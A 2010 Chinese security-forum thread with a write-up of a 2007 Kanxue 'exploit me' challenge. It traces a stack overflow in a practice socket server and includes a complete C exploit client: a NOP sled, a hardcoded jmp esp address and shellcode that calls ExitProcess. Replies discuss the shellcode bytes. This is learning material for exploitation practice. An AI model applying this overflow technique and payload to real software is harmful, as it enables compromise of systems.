首页
论坛
课程
招聘
[旧帖] [原创]07年看雪exploit me 挑战赛-题目A-SCARIN答题(申请邀请码) 0.00雪花
2010-7-17 10:17 2084

[旧帖] [原创]07年看雪exploit me 挑战赛-题目A-SCARIN答题(申请邀请码) 0.00雪花

2010-7-17 10:17
2084
去年看《windows核心编程》的时候,书中提到过利用(栈)溢出漏洞攻击系统,当时就在思考是如何利用(栈)溢出漏洞,因为我自己实在是想不通,既然一个程序或OS都溢出了,那岂不肯定就崩溃了,程序或OS都崩溃了,那攻击者利用什么?

   昨天遵循着看雪failwest的几个帖子,手把手的学习了一下如何利用栈溢出植入自己的shellcode,手一直痒痒想找点什么 exploit,正好看到07年看雪的一个exploit竞赛题目,花费了大概三个小时,我也成功解决了这道题目。下面是我的解题过程。

  先拿到题目A,名字是exploit_me_A.exe,题目说明这是个服务器,我第一感觉这应该跟socket有关,果不其然,我用ollydbg加载之后,搜索一下字符串,没想到居然就寥寥无几的几个字符串,一看就知道是什么了


socket编程我也研究过好些天,看到这几个字符串,我马上明白这是个什么服务器,跳回汇编代码,大概浏览一下代码,发现这个服务器的创建过程就是一个socket服务器创建过程(之前我可是花费好久时间研究过服务器与客户端socket编程)

程序的大致流程如下:

1. 创建socket服务器,端口号是7777(见汇编代码中的ntohs中的参数0x1e61),等待客户端连接

2. 连接成功后,等待接收数据,每次接收512字节

3. 接收成功后会将接收的字符串copy到一块内存当中(这段是我经过n次挫折才搞明白的),然后打印出来。

  第三步我花了一段时间才发现的,先说一下我解题的整个过程,其实也就是整个思考过程。

  在我大致的弄明白程序的流程之后(1~2步骤,这时候还没发现第三步),我马上自己写了一个客户端程序,并猜测我可以向服务器发送一个大于512字节的字符串,然后让这个服务器接收这个字符串时栈溢出。我精心的编写了一个大小为522字节的字符串,并发送给服务器,发现服务器崩溃了,但没有执行我shellcode(我的shellcode作用是直接退出程序)。经过多次调试,我发现我这个想法是有错误的,因为recv函数压根就不会出现问题,无论我发送多大的字符串,recv函数就只接收512个,所以我写的522字节的字符串,服务器压根就接收不到大于512之后的那几个最关键的数据!现在回想起来,自己的这个想法是多么的愚蠢!

  但有一个是肯定的,服务器不能接收512个字符串,因为我发送过去之后,服务器cash了! 一定有什么地方出现的字符串拷贝的操作。我重新观察了一下recv附近的代码,发现recv成功之后只调用了一个函数,然后就直接返回,见下图:


调试跟踪发现,传入的参数就是刚刚接收到的字符串地址。崩溃是发生在这个函数调用完成之后,那么可以猜测这里面肯定有字符串拷贝操作。F7跟进查看,下面是exploit_.00401000函数的部分代码:



注意红色框框的地方REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI],这个操作是将地址为ESI的数据刷到地址为EDI处,而上面有几条代码会算出ESI数据的大小(存放在EAX)。这应该就是服务器程序的漏洞。我去研究一下EDI所存放的地址,那么如果我的字符串长度够大,那么肯定会淹没到当00401000要返回时要执行的代码指令(忘记叫什么了)。再继续寻找EDI的最大长度,让服务器程序正常运行到RETN,看一下当前堆栈信息,指向了0012fbb8

算一下EDI的长度是0012fbb8 - 0012faf0 = c8,也就是大小为200个字节。

   那么我只需要构建一个大于200字节的字符串,并在201处写入jmp esp的机器指令就可以植入我自己的shellcode了!下面是我写的客户端程序,其中comd字符串是用来攻击服务器的,注意在comd[200]处开始是jmp esp(我的计算机上的地址),我的shellcode是用来直接退出服务器的,调用了系统的ExitProcess。

#include <iostream>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")

using namespace std;

int main()
{
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);

SOCKET sockClient=socket(AF_INET,SOCK_STREAM,0);

SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(7777);

if(SOCKET_ERROR==connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)))
{
  cout << "施主!服务器还没建立呢!- -!" << endl;
  cout << "30分之一的一炷香时间后开始重连" << endl;
  for(int i=0; i<30; i++)
  {
   Sleep(1000);
   cout << ">";
  }
  cout << endl;
  return main();
}
cout << "connect to 127.0.0.1" << endl;

char comd[212];
memset(comd, '\x90', 211);
char c_comd[123];
comd[200] = '\x79';
comd[201] = '\x5b';
comd[202] = '\xe3';
comd[203] = '\x77';

//53
//b8 12cb817c
//ffd0
comd[204] = '\x53';
comd[205] = '\xb8';
comd[206] = '\x12';
comd[207] = '\xcb';
comd[208] = '\x81';
comd[209] = '\x7c';
comd[210] = '\xff';
comd[211] = '\xd0';

while(1)
{
  memset(c_comd, 0, 123);
  cin >> c_comd;
  if(strcmp(c_comd, "exit")==0)
   break;
  if (strcmp(c_comd,"a")==0)
   send(sockClient, comd, 212, 0);
  else
   send(sockClient, c_comd, 123, 0);
}
WSACleanup();
return 0;
}

题目A的程序:
exploit_me_A.zip
总结一下:

    这道题目能这么快做出来(大概用了三个小时),我自己都有点吃惊,其实很多偶然的因素,刚好自己研究过socket,刚好见过用汇编指令拷贝数据。可惜这道挑战赛题目是07年的- -,如果是今年的,那我......

[2022夏季班]《安卓高级研修班(网课)》月薪两万班招生中~

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (6)
雪    币: 2477
活跃值: 活跃值 (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
oatzhang 活跃值 2010-7-18 08:52
2
0
先顶后看!谢谢
雪    币: 2477
活跃值: 活跃值 (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
oatzhang 活跃值 2010-7-18 08:53
3
0
贴图看不到,楼主再改改
雪    币: 121
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
高兴の好 活跃值 2010-7-18 09:46
4
0
QQ空间有防盗链
图片都看不到的
雪    币: 121
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
高兴の好 活跃值 2010-7-18 11:43
5
0
图片已经可以看到
楼主办事有效率
雪    币: 3
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
csinfo 活跃值 2010-7-18 21:38
6
0
LZ能说下 溢出代码怎么写么
我断感觉没执行那个啊,
断到这里

004012B0  /$  56            push    esi
004012B1  |.  8BF1          mov     esi, ecx
004012B3  |.  56            push    esi                              ;  exploit_.00409A68
产生错误ESI

ESI地址不可读,OD自动错误,
能说下中间过程么
ESP 0012F660 ASCII "received:",CR,LF,"*********",CR,LF
EAX 0012F661 ASCII "eceived:",CR,LF,"*********",CR,LF
EDX 0012F660 ASCII "Aeceived:",CR,LF,"*********",CR,LF
然后就死了
雪    币: 6
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
scarin 活跃值 2010-7-18 23:45
7
0
comd[200]之后是益处的机器码。还原成汇编指令大致如下:
jmp 地址(这是jmp esp指令,你要找到你本机上的jmp esp才行。)
push ebx
mov eax ExitProccss地址(同样的,你需要在你本机上找到这个函数的地址)
call eax

如果不清楚如何寻找自己本机上的地址,我明天再写详细一些
游客
登录 | 注册 方可回帖
返回